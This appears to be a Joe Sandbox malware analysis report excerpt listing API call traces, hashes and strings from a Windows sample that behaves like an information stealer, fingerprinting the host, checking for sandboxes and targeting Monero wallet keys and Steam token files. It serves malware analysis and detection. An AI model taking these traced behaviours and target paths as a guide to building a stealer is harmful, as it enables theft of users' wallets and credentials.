Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID:
API String ID: 3183270410-0
Opcode ID: 4ec334df23ce42e2a54f02a36ee47c37251e116d998adc900ac2073955f89584
Instruction ID: 8d6426af7a9135315192739630f4f0d8416e48e673dcfdd976ec7e554d258aee
Opcode Fuzzy Hash: 4ec334df23ce42e2a54f02a36ee47c37251e116d998adc900ac2073955f89584
Instruction Fuzzy Hash: BFF0307490020CEBDB18DFA4DC4AFE97778FB08700F008454BA1957290D6B56A85CB91

Function 005E1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005E112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 005E1132
ExitProcess.KERNEL32 ref: 005E1143

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d0e10257454c9029c33c7db6d7671a6efa15a4bcae5ad78692cf36b528475271
Instruction ID: 9ec55e9e82c877b183cc7c5f478f68f7b2e68d4dc98c818d761c800400e19896
Opcode Fuzzy Hash: d0e10257454c9029c33c7db6d7671a6efa15a4bcae5ad78692cf36b528475271
Instruction Fuzzy Hash: 33E0E67094534CFFE7286BA19C0EB0D7A78BF04B01F104054F709B65D0D6B52641969D

Function 005F1A10 Relevance: 3.9, APIs: 2, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005F7500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 005F7542
Part of subcall function 005F7500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 005F757F
Part of subcall function 005F7500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7603
Part of subcall function 005F7500: RtlAllocateHeap.NTDLL(00000000), ref: 005F760A

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005F7690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F76A4
Part of subcall function 005F7690: RtlAllocateHeap.NTDLL(00000000), ref: 005F76AB

Part of subcall function 005F77C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,005FDBC0,000000FF,?,005F1C99,00000000,?,0164D4F8,00000000,?), ref: 005F77F2
Part of subcall function 005F77C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,005FDBC0,000000FF,?,005F1C99,00000000,?,0164D4F8,00000000,?), ref: 005F77F9

Part of subcall function 005F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005E11B7), ref: 005F7880
Part of subcall function 005F7850: RtlAllocateHeap.NTDLL(00000000), ref: 005F7887
Part of subcall function 005F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 005F789F

Part of subcall function 005F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7910
Part of subcall function 005F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 005F7917
Part of subcall function 005F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 005F792F

Part of subcall function 005F7980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00600E00,00000000,?), ref: 005F79B0
Part of subcall function 005F7980: RtlAllocateHeap.NTDLL(00000000), ref: 005F79B7
Part of subcall function 005F7980: GetLocalTime.KERNEL32(?,?,?,?,?,00600E00,00000000,?), ref: 005F79C4
Part of subcall function 005F7980: wsprintfA.USER32 ref: 005F79F3

Part of subcall function 005F7A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0164DA40,00000000,?,00600E10,00000000,?,00000000,00000000), ref: 005F7A63
Part of subcall function 005F7A30: RtlAllocateHeap.NTDLL(00000000), ref: 005F7A6A
Part of subcall function 005F7A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0164DA40,00000000,?,00600E10,00000000,?,00000000,00000000,?), ref: 005F7A7D

Part of subcall function 005F7B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0164DA40,00000000,?,00600E10,00000000,?,00000000,00000000), ref: 005F7B35

Part of subcall function 005F7B90: GetKeyboardLayoutList.USER32(00000000,00000000,006005AF), ref: 005F7BE1
Part of subcall function 005F7B90: LocalAlloc.KERNEL32(00000040,?), ref: 005F7BF9
Part of subcall function 005F7B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 005F7C0D
Part of subcall function 005F7B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 005F7C62
Part of subcall function 005F7B90: LocalFree.KERNEL32(00000000), ref: 005F7D22

Part of subcall function 005F7D80: GetSystemPowerStatus.KERNEL32(?), ref: 005F7DAD

GetCurrentProcessId.KERNEL32(00000000,?,0164D498,00000000,?,00600E24,00000000,?,00000000,00000000,?,0164D878,00000000,?,00600E20,00000000), ref: 005F207E

Part of subcall function 005F9470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 005F9484
Part of subcall function 005F9470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005F94A5
Part of subcall function 005F9470: CloseHandle.KERNEL32(00000000), ref: 005F94AF

Part of subcall function 005F7E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005F7E37
Part of subcall function 005F7E00: RtlAllocateHeap.NTDLL(00000000), ref: 005F7E3E
Part of subcall function 005F7E00: RegOpenKeyExA.KERNEL32(80000002,0163BCB0,00000000,00020119,?), ref: 005F7E5E
Part of subcall function 005F7E00: RegQueryValueExA.KERNEL32(?,0164D678,00000000,00000000,000000FF,000000FF), ref: 005F7E7F
Part of subcall function 005F7E00: RegCloseKey.ADVAPI32(?), ref: 005F7E92

Part of subcall function 005F7F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 005F7FC9
Part of subcall function 005F7F60: GetLastError.KERNEL32 ref: 005F7FD8

Part of subcall function 005F7ED0: GetSystemInfo.KERNEL32(00600E2C), ref: 005F7F00
Part of subcall function 005F7ED0: wsprintfA.USER32 ref: 005F7F16

Part of subcall function 005F8100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0164D950,00000000,?,00600E2C,00000000,?,00000000), ref: 005F8130
Part of subcall function 005F8100: RtlAllocateHeap.NTDLL(00000000), ref: 005F8137
Part of subcall function 005F8100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 005F8158
Part of subcall function 005F8100: __aulldiv.LIBCMT ref: 005F8172
Part of subcall function 005F8100: __aulldiv.LIBCMT ref: 005F8180
Part of subcall function 005F8100: wsprintfA.USER32 ref: 005F81AC

Part of subcall function 005F87C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00600E28,00000000,?), ref: 005F882F
Part of subcall function 005F87C0: RtlAllocateHeap.NTDLL(00000000), ref: 005F8836
Part of subcall function 005F87C0: wsprintfA.USER32 ref: 005F8850

Part of subcall function 005F8320: RegOpenKeyExA.KERNEL32(00000000,0164AB40,00000000,00020019,00000000,006005B6), ref: 005F83A4

Part of subcall function 005F8320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 005F8426
Part of subcall function 005F8320: wsprintfA.USER32 ref: 005F8459
Part of subcall function 005F8320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 005F847B
Part of subcall function 005F8320: RegCloseKey.ADVAPI32(00000000), ref: 005F848C
Part of subcall function 005F8320: RegCloseKey.ADVAPI32(00000000), ref: 005F8499

Part of subcall function 005F8680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,006005B7), ref: 005F86CA
Part of subcall function 005F8680: Process32First.KERNEL32(?,00000128), ref: 005F86DE
Part of subcall function 005F8680: Process32Next.KERNEL32(?,00000128), ref: 005F86F3
Part of subcall function 005F8680: CloseHandle.KERNEL32(?), ref: 005F8761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 005F265B

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 3113730047-0
Opcode ID: c6680975f2ddd01b519b61fbfb62c33102ec06e9b42e2f1e482b98d798d8e985
Instruction ID: 6878831bb5b885cddbba51e2ee6e70ae72e277ea81d4b1c4562c6a7f4ba635cf
Opcode Fuzzy Hash: c6680975f2ddd01b519b61fbfb62c33102ec06e9b42e2f1e482b98d798d8e985
Instruction Fuzzy Hash: 2B72A3B2C1001EAADB19F750DD95DFE773CBF94340F5082A9B21A62095EF742B49CA63

Function 005E6D40 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e28e2ddde83b674ee4c51cf1a604f8c2c2c35b90247b3fa59f11271d5e6694b7
Instruction ID: 8bc11997b1e5d1f2327edadd3fe7087c7aaa320107c0cd0de5b6ea207e5288e0
Opcode Fuzzy Hash: e28e2ddde83b674ee4c51cf1a604f8c2c2c35b90247b3fa59f11271d5e6694b7
Instruction Fuzzy Hash: 706158B4D00249DFCF18CF95E988BEEBBB4BB54384F108598E46967280D735AE84DF91

Function 005F5100 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA820: lstrlen.KERNEL32(005E4F05,?,?,005E4F05,00600DDE), ref: 005FA82B
Part of subcall function 005FA820: lstrcpy.KERNEL32(00600DDE,00000000), ref: 005FA885

lstrlen.KERNEL32(00000000,00000000,00600ACA), ref: 005F512A

Strings

steam_tokens.txt, xrefs: 005F513F

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID: steam_tokens.txt
API String ID: 2001356338-401951677
Opcode ID: 738317e44fb6fe4d046b3191288dcf0ecc1fafc5d30996129728f9a2642ed9e3
Instruction ID: d175192accc89119f5e6f4608fbbfc75f156314fc29922070b64702b0b4e1840
Opcode Fuzzy Hash: 738317e44fb6fe4d046b3191288dcf0ecc1fafc5d30996129728f9a2642ed9e3
Instruction Fuzzy Hash: 94F0FBB191010D66DB08F7B0DC5ADFD7B3CBB94340F404169BA9A62092EF386619C6A7

Function 005F7ED0 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00600E2C), ref: 005F7F00
wsprintfA.USER32 ref: 005F7F16

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: 2ff93bd972d5ad5ba8bee621f06d3a68319d8d27e6158c6a65636f244a194cfa
Instruction ID: 0fbe471bc9ce22a29665fe82cb7d5ad3d44fbe77a034193f42b018636dedec10
Opcode Fuzzy Hash: 2ff93bd972d5ad5ba8bee621f06d3a68319d8d27e6158c6a65636f244a194cfa
Instruction Fuzzy Hash: 77F090B1A4420CEBCB14CF84DC45FBAFBBCFB48B24F004669F61592280D77969048BE5

Function 005EB4F0 Relevance: 2.9, APIs: 2, Instructions: 397stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

lstrlen.KERNEL32(00000000), ref: 005EB9C2
lstrlen.KERNEL32(00000000), ref: 005EB9D6

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
